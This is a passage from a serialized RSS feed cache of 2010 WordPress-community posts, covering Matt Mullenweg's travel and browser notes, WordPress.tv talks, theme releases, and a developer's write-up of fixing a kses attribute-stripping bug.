";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 19:00:56 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:20:"Matt: Bangkok Unrest";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33850";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:36:"http://ma.tt/2010/03/bangkok-unrest/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:685:"

In celebration of my arrival in Bangkok the opposition party is apparently planning a million person “red shirt” rally. Exciting! On the bright side, “The UDD [United Front for Democracy against Dictatorship] can only afford to keep its protest going for three to five days. If the government has not fallen by that time, it will have to withdraw and draw up a new strategy.” I always pick the best times to travel. :) (Mom, don’t worry. I’ll stay safe!)

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 07:26:04 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:47:"WordPress Podcast: BuddyPress Social Networking";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:63:"http://www2.webmasterradio.fm/wordpress-community-podcast/?p=32";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"http://feedproxy.google.com/~r/wordpresspodcast/~3/-3Pa-p7-bSQ/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1169:"

This weeks guest was Andy Peatling of the BuddyPress.org Project. BuddyPress is a social networking plugin for WordPress which ads many of the features found on sites like Facebook to WordPress blogs in as few as 10 minutes. We discussed how BuddyPress came about, some of the ways its used, some tips on getting started, customizing it and most importantly the features it provides. In news, there were a few nice plugin releases/updates and as always quick update on the WordCamp schedule.

\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 00:12:22 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:54:"joost@pressthis.com (Joost de Valk & Frederick Townes)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:58:"Mike Little: Interview with Matt Mullenweg and Mike Little";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:35:"http://zed1.com/journalized/?p=1479";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"http://zed1.com/journalized/archives/2010/03/09/interview-with-matt-mullenweg-and-mike-little/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:820:"

The interview I did with Matt Mullenweg at WordCamp UK in Cardiff last year has finally made it on to WordPress.tv

\n

In it,  Gurbir Singh of astrotalkuk interviews Matt and I.  We discuss the history of WordPress,  the open source philosophy behind it,  a little about our backgrounds, fame, and… astronomy.

\n

Matt Mullenweg and Mike Little interview screen shot

\n

Go watch the interview, it’s pretty cool.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 23:30:49 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"mike";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:66:"WordPress.tv: Clintus McGintus: Video Blogging and Video Marketing";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3446";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:51:"http://wordpress.tv/2009/11/13/clintus-video-phx09/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1389:"
\n\n
\n
Clintus McGintus: Video Blogging and Video Marketing
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 16:00:07 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:50:"WordPress.tv: Brent Spore: Designing for WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3443";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"http://wordpress.tv/2009/11/13/brent-spore-designing-for-wordpress/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1393:"
\n\n
\n
Brent Spore: Designing for WordPress
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 16:00:07 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:73:"WordPress.tv: Jayson Cote: The Power of WordPress, You, and Your Business";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3440";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"http://wordpress.tv/2009/11/13/jayson-cote-business-phx09/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1407:"
\n\n
\n
Jayson Cote: The Power of WordPress, You, and Your Business
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 16:00:07 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"WordPress.tv: Interview with Matt Mullenweg and Mike Little";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3450";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"http://wordpress.tv/2010/03/09/mullenweg-little-wordpress-interview/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1388:"
\n\n
\n
Mullenweg_Little_Interview
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 15:58:16 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:24:"Matt: Liane’s Birthday";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33788";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:37:"http://ma.tt/2010/02/lianes-birthday/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:12713:"

Liane’s birthday dinner at the SLS Hotel in Los Angeles and a bar (name?) afterward.

\n

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 08:45:12 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:21:"Matt: Back to Firefox";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33786";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:37:"http://ma.tt/2010/03/back-to-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1278:"

After a good while (I can’t search my Twitter stream) on Chrome I’m switching back to Firefox as my primary browser, and actually uninstalled Chrome. Why? I was getting the “Oh snap” failure page all the time, even on Google’s own Youtube! The only support I was pointed to was this page, and when I followed the instructions there when I restarted Chrome everything was gone. The sentence “copy the relevant files from the “Backup User Data” folder to your new “User Data” folder.” is useless when you consider the folder has 50+ files to sort through and I wasn’t sure which one was causing my previous problems. So back to Firefox, and thanks to Xmarks all of my stuff is there. I’m also using this persona which is pretty sweet. The feature I missed most on Chrome was lame: the ability to click and hold a folder then release on a bookmark I wanted to open. On Chrome you have to click twice. It bugged me. Now back on Firefox I feel like the browser has a large head.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 03:54:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:25:"Matt: Distributed Company";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33784";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:41:"http://ma.tt/2010/03/distributed-company/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:193:"

Toni Schneider, the CEO of Automattic, writes 5 reasons why your company should be distributed.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 02:44:55 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:75:"Weblog Tools Collection: Manage Comments From Your Windows or Linux Desktop";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:104:"http://weblogtoolscollection.com/archives/2010/03/08/manage-comments-from-your-windows-or-linux-desktop/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:104:"http://weblogtoolscollection.com/archives/2010/03/08/manage-comments-from-your-windows-or-linux-desktop/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1516:"

Comments form a very integral part of any blog to generate communication and spark discussions. As a WordPress blog user, managing comments and replying to them is very easy, however, what if you can manage and reply to comments from your desktop?

\n

Manage WordPress Comments From Desktop

\n

WP Comments Notifier is a open source application written in QT/C++ for Linux and Windows, which will allow you to manage new comments and reply to them from your desktop. In addition to that, it will also allow you to edit, spam or delete the comments.

\n

WordPress Comments Notification

\n

This app will also display comments summary when you hover over the system tray icon and alert you whenever a new comment is posted to your blog. The app also works for WPMU blogs.

\n

You can download the installer for Windows by visiting the app homepage and also find instructions on how to build the app from source on Linux machines.

\n

Download WP Comments Notifier

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 08 Mar 2010 23:13:35 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Keith Dsouza";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"Weblog Tools Collection: WordPress Theme Releases for 03/07";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7833";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:89:"http://weblogtoolscollection.com/archives/2010/03/08/wordpress-theme-releases-for-0307-2/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1989:"

Turquoise

\n

turquoise

\n

The Turquoise Theme is a simple free WordPress Theme 980px wide with 3 Sidebars and an Option Page to populate the Footer. One Sidebar is on the right side optimized for Adsense 250px Ads. Two Sidebars are on top of the postings and below the Posting. Good for 468px Ads.

\n

Greener Side

\n

Greener Side

\n

Smell the fresh cut grass and feel the butterflies flutter past your face… It’s summer year round with this eye-catching fixed width two-column design.

\n

Wordsmith Blog

\n

Wordsmith Blog

\n

Two column, brown theme. Choose background colors, sidebar placement, and an optional adsense ready sidebar.

\n

5 Music WordPress Themes

\n

Producer 

\n

Share your music and videos, connect with fans, and let everyone know about your upcoming gigs with one of these music WordPress themes. Whether you’re a musician, DJ, or producer, one thing’s for sure — these widget-ready and Gravatar-enabled themes rock.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 08 Mar 2010 20:30:16 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:15;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:28:"Dougal Campbell: Bug Chasing";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:33:"http://dougal.gunters.org/?p=2026";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:108:"http://dougal.gunters.org/blog/2010/03/07/bug-chasing?utm_source=rss&utm_medium=rss&utm_campaign=rss";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:8884:"

Okay, so in my post about Code Spelunking I mentioned about how working on a project can lead you to explore the code because you need to become more familiar with how the code works. But it can also lead you to explore the code to figure out why code doesn’t work. In this particular case, I spent many hours puzzling over why something didn’t work correctly, chasing down the root cause, and eventually finding a bug in the WordPress core. I documented the bug in Ticket #12394, provided a patch, and it was committed to core in Changeset [13561], which will be part of WordPress 3.0.

\n

\n

And how did I find this little buglet? As usual, it’s because I was doing something a little off the beaten track. I was working on some code which imports XML data into WordPress, on a scheduled basis (hourly, daily, weekly, etc). During testing, sometimes the images in the imported content would come through fine, and other times, they would be missing the src attribute, without which, there really isn’t an image, is there? So you’d view the post and there would be this big 300-pixel square hole with just the alt text where the image should have been.

\n

At first, I didn’t know why it worked only some of the time. Then I saw the pattern that when I ran the code “manually” via a “Run now” button in my options screen, the images worked. But when the code ran via WP-Cron, they didn’t. At first, I thought it was a timing issue, and that maybe when the cron action hooks fired, maybe there was some piece of WordPress functionality that wasn’t loaded yet. But shunting my execution hook to run at a later point didn’t fix anything.

\n

Next, I decided that one key difference when running manually versus running from cron was me — I was logged in as an admin. And, in fact, after some debugging, I determined that there was no user context at all when running from cron. When I modified the code to run as myself, the image tags came through cleanly. Well, I didn’t want to hard-code the program to always run as me, so I added a user selector to the options so that the owner of the posts could be set.

\n

But then when I started testing again, with users of various roles, the problem cropped up again. In particular, it worked great for a user with the Editor role, but not for the Author role. Digging a little deeper into the differences between the two roles, the thing that jumped out at me is that Editors (and Admins) have the “unfiltered_html” capability.

\n

You see, normally, when you write a post, it is sent through a series of filters which take your free-form writing, and turn it into cleaner HTML. One of these filters is called ‘kses‘ (which stands for ‘kses strips evil scripts’). This filter is especially important on multi-author blogs where you might not be able to give 100% trust to the other authors. Otherwise, one of them would be able to (for instance) put javascript in a post which would steal the cookie information from another user who reads the post. So it is the job of kses to ensure that only “safe” HTML is kept. This would also keep you from embedding things like YouTube videos, Java applets, and other fun useful things. So users with the unfiltered_html capability set in their profiles are able to post without this filtering.

\n

This certainly seemed like a likely culprit, except for one thing: even when post content is filtered through kses, the HTML img tag is not filtered out. And neither is the src attribute on an image. That is specifically supposed to be allowed. An image is a perfectly normal thing to have in a post. So why, oh why, was my src attribute being stripped?

\n

I started looking very closely at the kses library. It’s a rather hairy bit of code, full of complex regular expressions and state-machine logic. But when reverse-engineering how the attribute-cleaning bits work, I noticed something in one of the regular expressions: it was hardcoded to expect a space between the end of an attribute and the closing of a tag. In other words, it expected an image tag to look something like this:

\n

<img width=''400'' height=''300'' src=''people.jpg'' />

\n

But, since my data was coming from an XML source, there was no extraneous space. My image tags looked like this:

\n

<img width=''400'' height=''300'' src=''people.jpg''/>

\n

Notice the subtle difference? There is no space between the final single-quote around ''people.jpg'' and the /> which closes the tag. And because of the way the match was being done, kses was throwing away any attribute that abutted the tag-close in that fashion.

\n

The next question was: was this (technically) a bug, or was kses just being strict about some rules of formatting? A quick search turned up the Empty Elements section of the XHTML spec, which covers the syntax for empty tags like img, br, and hr. The examples given there do not include a space before the end of the elements. Furthermore, this section points to the HTML Compatibility Guidelines, which show that adding a space is for compatibility with older HTML browsers. So, since the XHTML spec does not require the space, and WordPress is supposed to render XHTML code, the behavior in kses was definitely a bug, and not just bad manners. I quickly worked up a patch, submitted it on Trac, and brought it to the attention of the core team.

\n

Fortunately, the WordPress system of filters allows you to alter just about anything on the fly, so I was able to “trick” the system into thinking that the posting user selected in my plugin had the unfiltered_html capability, even when they really didn’t. This allowed me to work around the bug while my plugin is running.

\n

